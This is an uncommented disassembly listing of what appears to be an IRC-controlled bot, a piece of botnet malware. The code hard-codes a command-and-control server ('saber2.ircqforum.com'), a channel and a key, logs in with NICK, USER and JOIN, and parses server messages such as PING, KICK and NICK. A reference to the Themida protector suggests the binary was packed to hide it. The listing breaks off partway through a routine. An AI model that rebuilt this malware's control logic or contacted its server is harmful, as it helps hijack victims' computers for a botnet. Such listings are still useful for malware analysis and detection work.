		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2780B1Eh
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		nop
		call	near ptr 2630F90h
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43ACF8
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_4CD9D0, 2
		jle	short loc_40E9D8
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 2670A57h
		nop
		push	esi
		nop
		call	near ptr 2651922h
		mov	eax, dword_4CD9D4
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 2630F90h
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+8]
		call	near ptr 27E0D27h
		nop


loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43AE68, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx


loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_42F7C8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_43FA70
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_4CD5FC
		mov	dword_4CD770, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_4CD67C
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_4CD6BC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_4CD750, ebx


loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx


loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43AE80, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43ACDC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------


loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_4CD5F8
		mov	dword_4CD76C, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_4CD76C, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]


loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h


loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		call	near ptr 2630F90h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F654, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F654
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25


loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43ACF8


loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4CD760
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440808
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4407FC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43AE30
		call	sub_40ADF3
		push	7D0h


loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	near ptr 2630F90h
		nop
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42F7FC
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43AE30
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------


loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------


loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax


loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_4CD768, bl
		jz	short loc_40ED3F
		push	offset byte_4CD768
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch


loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43AE30
		push	1388h
		call	near ptr 2630F90h
		nop


loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax


loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]


loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi


loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		call	near ptr 2630F90h
		nop
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------


loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------


loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2


loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_432E88 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93


loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi


loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_432E84 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h


loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------


loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_4CD760
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch


loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1


loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h


loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h


loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1


loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax


loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h


loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C


loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]


loc_40F367:				; DATA XREF: Themida_:00546AC9o
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
